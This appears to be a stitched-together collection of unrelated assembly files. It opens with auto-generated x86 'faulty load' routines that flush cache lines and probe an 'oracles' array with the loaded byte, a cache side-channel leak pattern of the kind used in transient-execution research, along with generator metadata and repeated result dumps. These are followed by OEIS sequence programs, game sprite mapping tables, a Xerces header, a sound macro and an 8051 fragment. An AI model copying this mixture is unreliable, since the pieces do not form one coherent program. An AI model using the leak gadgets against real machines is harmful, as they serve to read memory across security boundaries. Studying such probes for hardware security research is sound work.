nop
nop
lfence
lea addresses_WC_ht+0xf179, %rdi
nop
nop
nop
add %r12, %r12
movb $0x61, (%rdi)
cmp %rcx, %rcx
lea addresses_WC_ht+0x9ff9, %rsi
lea addresses_WT_ht+0x9c6d, %rdi
nop
nop
cmp $20894, %r12
mov $115, %rcx
rep movsb
nop
nop
nop
nop
mfence
lea addresses_WC_ht+0x1d979, %rsi
lea addresses_WT_ht+0x19779, %rdi
clflush (%rsi)
nop
nop
nop
nop
sub %rbx, %rbx
mov $19, %rcx
rep movsq
nop
nop
nop
nop
nop
mfence
lea addresses_normal_ht+0x14a79, %rcx
nop
nop
nop
add $7997, %r12
movb (%rcx), %bl
nop
xor $42731, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r9
push %rax
push %rbp
// Store
lea addresses_normal+0xc179, %r14
xor $42389, %r9
mov $0x5152535455565758, %r12
movq %r12, %xmm5
movntdq %xmm5, (%r14)
nop
nop
nop
nop
xor $11487, %r11
// Faulty Load
lea addresses_D+0x12979, %rbp
nop
nop
nop
nop
nop
and %r13, %r13
movups (%rbp), %xmm1
vpextrq $0, %xmm1, %r14
lea oracles, %r11
and $0xff, %r14
shlq $12, %r14
mov (%r11,%r14,1), %r14
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x4504, %rbp
nop
and $28271, %r8
mov $0x6162636465666768, %rbx
movq %rbx, %xmm1
movups %xmm1, (%rbp)
nop
nop
add %r8, %r8
lea addresses_WC_ht+0x195b8, %rsi
lea addresses_WC_ht+0x1d084, %rdi
clflush (%rdi)
nop
dec %r12
mov $100, %rcx
rep movsw
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x5b04, %rsi
nop
nop
nop
cmp $21971, %r12
mov $0x6162636465666768, %rdi
movq %rdi, %xmm5
vmovups %ymm5, (%rsi)
nop
nop
nop
nop
inc %r8
lea addresses_A_ht+0x12184, %rcx
nop
nop
nop
nop
and %r12, %r12
movb $0x61, (%rcx)
nop
nop
nop
nop
and $46192, %rbp
lea addresses_D_ht+0x904, %r12
nop
nop
nop
nop
nop
sub $940, %rbp
and $0xffffffffffffffc0, %r12
vmovntdqa (%r12), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
nop
nop
nop
xor %r8, %r8
lea addresses_normal_ht+0x1bb04, %rsi
lea addresses_D_ht+0x571c, %rdi
nop
nop
sub %r13, %r13
mov $0, %rcx
rep movsq
nop
nop
nop
nop
nop
sub %r8, %r8
lea addresses_D_ht+0x1c134, %rcx
nop
nop
nop
nop
nop
dec %r12
mov (%rcx), %ebx
nop
nop
nop
nop
nop
add $51356, %rsi
lea addresses_A_ht+0x1e04, %rdi
inc %rcx
mov (%rdi), %ebx
nop
nop
xor %r13, %r13
lea addresses_D_ht+0x9d04, %rsi
lea addresses_UC_ht+0x18a84, %rdi
nop
nop
nop
and $4252, %r12
mov $17, %rcx
rep movsw
sub $21220, %rsi
lea addresses_D_ht+0x170f3, %r12
nop
nop
nop
nop
dec %r8
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
movups %xmm4, (%r12)
nop
nop
nop
nop
cmp $55879, %r8
lea addresses_WC_ht+0x19704, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
xor $48655, %rbx
mov (%rdi), %bp
nop
nop
nop
nop
and $63168, %rcx
lea addresses_WT_ht+0xbb18, %r13
nop
nop
nop
nop
add %rbx, %rbx
movw $0x6162, (%r13)
nop
nop
nop
sub $30760, %rbx
lea addresses_A_ht+0x13104, %rbp
nop
nop
nop
inc %rcx
mov $0x6162636465666768, %r13
movq %r13, %xmm0
vmovups %ymm0, (%rbp)
cmp $41724, %r12
lea addresses_normal_ht+0x1e604, %rsi
lea addresses_D_ht+0x12304, %rdi
add %r13, %r13
mov $71, %rcx
rep movsl
and %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %r9
push %rbp
push %rsi
// Store
lea addresses_A+0x13cd4, %r14
inc %r9
mov $0x5152535455565758, %rsi
movq %rsi, (%r14)
nop
nop
nop
xor %r14, %r14
// Store
lea addresses_D+0x1ae04, %rsi
clflush (%rsi)
nop
nop
nop
nop
inc %rbp
movb $0x51, (%rsi)
nop
nop
nop
nop
nop
sub $25989, %r14
// Store
mov $0x504, %rbp
nop
nop
nop
nop
nop
xor $15143, %r8
movl $0x51525354, (%rbp)
nop
nop
nop
sub $60502, %r15
// Faulty Load
lea addresses_WT+0x18b04, %r10
nop
nop
nop
nop
nop
sub $4912, %r9
mov (%r10), %r14
lea oracles, %r9
and $0xff, %r14
shlq $12, %r14
mov (%r9,%r14,1), %r14
pop %rsi
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Name: zel_enmy2.asm
Type: file
Size: 366508
Last-Modified: '2016-05-13T04:27:09Z'
SHA-1: 4FF220226013A57D654B3C3E8411A56C6DADE19D
Description: null
|
; A033297: Number of ordered rooted trees with n edges such that the rightmost leaf of each subtree is at even level. Equivalently, number of Dyck paths of semilength n with no return descents of odd length.
; 1,1,4,10,32,100,329,1101,3761,13035,45751,162261,580639,2093801,7601044,27756626,101888164,375750536,1391512654,5172607766,19293659254,72188904386,270870709264,1019033438060,3842912963392,14524440108760,55009110807244,208738840943116,793503375708252,3021483126384052,11523152912842857,44010911964205341,168325218448037769,644618823701692995,2471666671205608267,9488131714654845225,36462672609966897139,140271190177039804261,540154181552935996129,2081972860723556112691,8031945730914342021329
lpb $0
mov $2,$0
sub $0,2
seq $2,71724 ; a(n) = 3*binomial(2n, n-1)/(n+2), n > 0, with a(0)=1.
add $1,$2
lpe
add $1,1
mov $0,$1
|
; A123394: Values X satisfying the equation 7(X-Y)^4-8XY=0, where X>=Y.
; Submitted by Christian Krause
; 0,64,54000,48387776,43449047520,39017102749504,35037312017058000,31463467090220398016,28254158407188855215040,25372202786113074403284544,22784209847768873321556750000,20460195071093594395998790974656,18373232389632197968983353458822560,16499142225694642621727881913608869184,14816211345441399440290955520497900922000,13304941289064151002684035750661612898421696,11947822461368262159009187018486154798666590080,10729131265367410354639198209345821618591765007424
mov $2,1
lpb $0
sub $0,1
add $3,$2
mov $1,$3
mul $1,14
add $2,$1
add $3,$2
lpe
add $2,1
mul $3,$2
mov $0,$3
div $0,4
|
Map_2294B4: dc.w Frame_2294C8-Map_2294B4 ; ...
dc.w Frame_2294CC-Map_2294B4
dc.w Frame_2294DA-Map_2294B4
dc.w Frame_2294FA-Map_2294B4
dc.w Frame_229514-Map_2294B4
dc.w Frame_229540-Map_2294B4
Map_AIZDisappearingFloor2:
Map_2294C0: dc.w Frame_229566-Map_2294C0 ; ...
dc.w Frame_2295A4-Map_2294C0
dc.w Frame_2295D6-Map_2294C0
dc.w Frame_229608-Map_2294C0
Frame_2294C8: dc.w 0
dc.b 0
dc.b 0
Frame_2294CC: dc.w 2
dc.b $E8, 5, 3,$1D,$FF,$F0
dc.b $E8, 5, $B,$1D, 0, 0
Frame_2294DA: dc.w 5
dc.b $E8, 5, $B,$1D,$FF,$E8
dc.b $E8, 5, 3,$1D,$FF,$F8
dc.b $E8, 5, 3,$1D, 0, 8
dc.b $F8, 5,$13,$1D,$FF,$F0
dc.b $F8, 5,$13,$1D, 0, 0
Frame_2294FA: dc.w 4
dc.b $E8, 7, 3,$21,$FF,$E0
dc.b $E8, 7, $B,$21,$FF,$F0
dc.b $E8, 7, 3,$21, 0, 0
dc.b $E8, 7, $B,$21, 0,$10
Frame_229514: dc.w 7
dc.b $E8, $D, 0,$2A,$FF,$E0
dc.b $E8, $D, 0,$2A, 0, 0
dc.b $F8, $D, 3,$29,$FF,$E0
dc.b $F8, $D, $B,$29, 0, 0
dc.b 8, 5,$1B,$1D,$FF,$E8
dc.b 8, 5, $B,$1D,$FF,$F8
dc.b 8, 5,$13,$1D, 0, 8
Frame_229540: dc.w 6
dc.b $E8, $D, 0,$2A,$FF,$E0
dc.b $F8, $D,$10,$16,$FF,$E0
dc.b 8, $D, 0,$32,$FF,$E0
dc.b $E8, $D, 0,$2A, 0, 0
dc.b $F8, $D,$10,$16, 0, 0
dc.b 8, $D, 8,$32, 0, 0
Frame_229566: dc.w $A
dc.b $D8, $A, 0,$49,$FF,$D0
dc.b $E0, 9, 0,$52,$FF,$E8
dc.b $E0, 9, 8,$52, 0, 0
dc.b $D8, $A, 8,$49, 0,$18
dc.b $F0, 5, 0,$58,$FF,$D0
dc.b $F0, 5, 8,$58, 0,$20
dc.b 0, 7, 0,$5C,$FF,$D8
dc.b 0, 7, 8,$5C, 0,$18
dc.b $10, 9, 0,$64,$FF,$E8
dc.b $10, 9, 8,$64, 0, 0
Frame_2295A4: dc.w 8
dc.b $E0, 7,$10,$5C,$FF,$D8
dc.b $E0, 9, 8,$64,$FF,$E8
dc.b $E0, 9, 0,$64, 0, 0
dc.b $E0, 7,$18,$5C, 0,$18
dc.b 0, 7, 0,$6A,$FF,$D8
dc.b 0, 7, 8,$6A, 0,$18
Frame_2295CA: dc.b $10, 9,$10,$64,$FF,$E8
dc.b $10, 9,$18,$64, 0, 0
Frame_2295D6: dc.w 8
dc.b $E0, 7,$10,$6A,$FF,$D8
dc.b $E0, 9, 0,$64,$FF,$E8
dc.b $E0, 9, 8,$64, 0, 0
dc.b $E0, 7,$18,$6A, 0,$18
dc.b 0, 7, 0,$5C,$FF,$D8
dc.b 0, 7, 8,$5C, 0,$18
dc.b $10, 9, 0,$52,$FF,$E8
dc.b $10, 9, 8,$52, 0, 0
Frame_229608: dc.w 8
dc.b $E0, 7,$10,$5C,$FF,$D8
dc.b $E0, 9,$18,$52,$FF,$E8
dc.b $E0, 9,$10,$52, 0, 0
dc.b $E0, 7,$18,$5C, 0,$18
dc.b 0, 7, 0,$6A,$FF,$D8
dc.b 0, 7, 8,$6A, 0,$18
dc.b $10, 9, 8,$52,$FF,$E8
dc.b $10, 9, 0,$52, 0, 0 |
; A052716: E.g.f. (x+1-sqrt(1-6*x+x^2))/2.
; Submitted by Jon Maiga
; 0,2,4,36,528,10800,283680,9102240,345058560,15090727680,747888422400,41422381862400,2535569103513600,169983582318950400,12386182292118835200,974723523832041984000,82385641026424479744000
mov $2,$0
mov $4,2
lpb $4
sub $4,1
add $0,$4
sub $0,1
mov $3,$0
max $3,0
seq $3,32037 ; Doubles (index 2+) under "AIJ" (ordered, indistinct, labeled) transform.
lpe
min $2,1
mul $2,$3
mov $0,$2
mul $0,2
|
/*
* The Apache Software License, Version 1.1
*
* Copyright (c) 1999-2000 The Apache Software Foundation. All rights
* reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. The end-user documentation included with the redistribution,
* if any, must include the following acknowledgment:
* "This product includes software developed by the
* Apache Software Foundation (http://www.apache.org/)."
* Alternately, this acknowledgment may appear in the software itself,
* if and wherever such third-party acknowledgments normally appear.
*
* 4. The names "Xerces" and "Apache Software Foundation" must
* not be used to endorse or promote products derived from this
* software without prior written permission. For written
* permission, please contact apache\@apache.org.
*
* 5. Products derived from this software may not be called "Apache",
* nor may "Apache" appear in their name, without prior written
* permission of the Apache Software Foundation.
*
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
* USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
* ====================================================================
*
* This software consists of voluntary contributions made by many
* individuals on behalf of the Apache Software Foundation, and was
* originally based on software copyright (c) 1999, International
* Business Machines, Inc., http://www.ibm.com . For more information
* on the Apache Software Foundation, please see
* <http://www.apache.org/>.
*/
/*
* $Id: UnsupportedEncodingException.hpp,v 1.1.1.1 2002/02/01 22:22:13 peiyongz Exp $
*/
#if !defined(UNSUPPORTEDENCODINGEXCEPTION_HPP)
#define UNSUPPORTEDENCODINGEXCEPTION_HPP
#include <xercesc/util/XercesDefs.hpp>
#include <xercesc/util/XMLException.hpp>
MakeXMLException(UnsupportedEncodingException, XMLUTIL_EXPORT)
#endif
|
; A131300: a(n) = 3*a(n-1) - 2*a(n-2) - a(n-3) + a(n-4) with n>3, a(0)=1, a(1)=2, a(2)=3, a(3)=7.
; 1,2,3,7,14,27,49,86,147,247,410,675,1105,1802,2931,4759,7718,12507,20257,32798,53091,85927,139058,225027,364129,589202,953379,1542631,2496062,4038747,6534865,10573670,17108595,27682327,44790986,72473379,117264433,189737882,307002387,496740343,803742806,1300483227,2104226113,3404709422,5508935619,8913645127,14422580834,23336226051,37758806977,61095033122,98853840195,159948873415,258802713710,418751587227,677554301041,1096305888374,1773860189523,2870166078007,4644026267642,7514192345763,12158218613521,19672410959402,31830629573043,51503040532567,83333670105734,134836710638427,218170380744289,353007091382846,571177472127267,924184563510247,1495362035637650,2419546599148035,3914908634785825,6334455233934002,10249363868719971,16583819102654119,26833182971374238,43417002074028507,70250185045402897,113667187119431558,183917372164834611,297584559284266327,481501931449101098,779086490733367587,1260588422182468849,2039674912915836602,3300263335098305619,5339938248014142391,8640201583112448182,13980139831126590747,22620341414239039105,36600481245365630030,59220822659604669315,95821303904970299527,155042126564574969026,250863430469545268739,405905557034120237953,656768987503665506882,1062674544537785745027,1719443532041451252103
seq $0,192953 ; Coefficient of x in the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments.
add $0,1
|
; A051040: 5-Stohr sequence.
; 1,2,4,8,16,32,63,94,125,156,187,218,249,280,311,342,373,404,435,466,497,528,559,590,621,652,683,714,745,776,807,838,869,900,931,962,993,1024,1055,1086,1117,1148,1179,1210,1241,1272,1303,1334,1365,1396,1427
mov $2,$0
add $2,1
mov $4,$0
lpb $2,1
mov $0,$4
sub $2,1
sub $0,$2
mov $3,$0
mov $0,2
pow $0,$3
div $0,2
trn $0,1
lpb $0,1
add $0,30
div $0,2
lpe
add $0,1
add $1,$0
lpe
|
; A239278: Smallest k > 1 such that n*(n+1)*...*(n+k-1) / (n+(n+1)+...+(n+k-1)) is an integer.
; 3,5,3,3,5,3,3,7,3,3,5,3,3,5,3,3,5,3,3,5,3,3,7,3,3,5,3,3,5,3,3,5,3,3,5,3,3,7,3,3,5,3,3,5,3,3,5,3,3,5,3,3,9,3,3,5,3,3,5,3,3,5,3,3,5,3,3,7,3,3,5,3,3,5,3,3,5,3,3,5,3,3,7,3,3,5,3,3,5,3,3,5,3,3,5,3,3,7,3
mul $0,2
seq $0,284723 ; Smallest odd prime that is relatively prime to n.
|
; A025744: Index of 10^n within sequence of numbers of form 6^i*10^j.
; Submitted by Jamie Morken(s3)
; 1,3,6,10,16,23,31,40,51,63,76,91,107,124,142,162,183,205,229,254,280,307,336,366,397,430,464,499,535,573,612,652,694,737,781,826,873,921,970,1021,1073,1126,1180,1236,1293,1351,1411,1472,1534,1597,1662,1728,1795
add $0,1
mul $0,3
mov $1,$0
bin $1,2
add $1,10
div $1,7
mov $0,$1
|
; A124860: A Jacobsthal-Pascal triangle.
; Submitted by Jon Maiga
; 1,1,1,3,6,3,5,15,15,5,11,44,66,44,11,21,105,210,210,105,21,43,258,645,860,645,258,43,85,595,1785,2975,2975,1785,595,85,171,1368,4788,9576,11970,9576,4788,1368,171,341,3069,12276,28644
lpb $0
add $2,1
sub $0,$2
mov $1,2
lpe
pow $1,$2
div $1,3
mul $1,2
bin $2,$0
mul $1,$2
mov $0,$1
add $0,$2
|
; A135260: Fibonacci Connell sequence: 1 odd, 1 even, 2 odd, 3 even, 5 odd, 8 even, ....
; 1,2,3,5,6,8,10,11,13,15,17,19,20,22,24,26,28,30,32,34,35,37,39,41,43,45,47,49,51,53,55,57,59,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,101,103,105,107,109,111,113,115,117,119,121,123,125
mov $2,$0
add $2,1
mov $4,$0
lpb $2,1
mov $0,$4
sub $2,1
sub $0,$2
cal $0,192687 ; Male-female differences: a(n) = A005378(n) - A005379(n).
mov $5,$0
cmp $5,0
mov $3,$5
add $3,1
add $1,$3
lpe
|
SFX_Triangle1_2_Ch1:
unknownnoise0x20 0, 81, 42
endchannel
|
CLEAR_ALL:
MOV R2, #0h
